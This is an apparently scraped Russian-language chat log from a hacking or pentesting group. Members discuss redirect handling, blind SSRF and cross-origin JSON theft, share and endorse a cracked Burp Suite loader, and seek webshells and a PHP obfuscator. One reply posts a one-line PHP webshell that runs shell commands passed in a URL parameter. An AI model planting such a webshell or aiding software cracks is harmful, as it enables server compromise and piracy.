H
allow_redirects=False+
Size: a a a
2020 May 09
P
всё разобрался. спасибо
P
а , response.headers['Location'] еще покажет куда редиректнуло
D
Что можно сделать через blind ssrf кроме shellshock?
A
а , response.headers['Location'] еще покажет куда редиректнуло
если тебе нужна вся цепочка, то там есть .history или типа того (ищи в доках).
A
покажет коды и все url
F
Что можно сделать через blind ssrf кроме shellshock?
2020 May 10
MW
Стоит
X-Content-Type-Options: nosniff, возвращает application/json, возможно ли каким-либо образом вытащить данные с другого сайта? Пробывал в <script src..>, безуспешно.I
если бы каждый app/json можно было бы вытащить через <script src> , мир бы пребывал в огне
I
тебе только некорректно настроенный корс помог бы
F
Есть нормальный кряк последнего бёрпа ?
А
Есть нормальный кряк последнего бёрпа ?
Surferxyz
᠌
᠌
᠌
Только хз работает или нет, не пробовал
BF
Только хз работает или нет, не пробовал
Работает :З
I0
Работает, только лучше запускать бурп этим лоадером, а активировать старым.
Потом сделать батник который будет в один клик все это запускать)
Потом сделать батник который будет в один клик все это запускать)
l
Ребят, кто какой webshell по советует?
b364k не работает, invoke(как-то) пашет
b364k не работает, invoke(как-то) пашет
l
И на подобии обусификатора (надеюсь правильно написал) php fopa у кого есть? Раньше был сайт, сейчас домен продаётся
AS
Ребят, кто какой webshell по советует?
b364k не работает, invoke(как-то) пашет
b364k не работает, invoke(как-то) пашет
<?=system($_GET['c']); ?>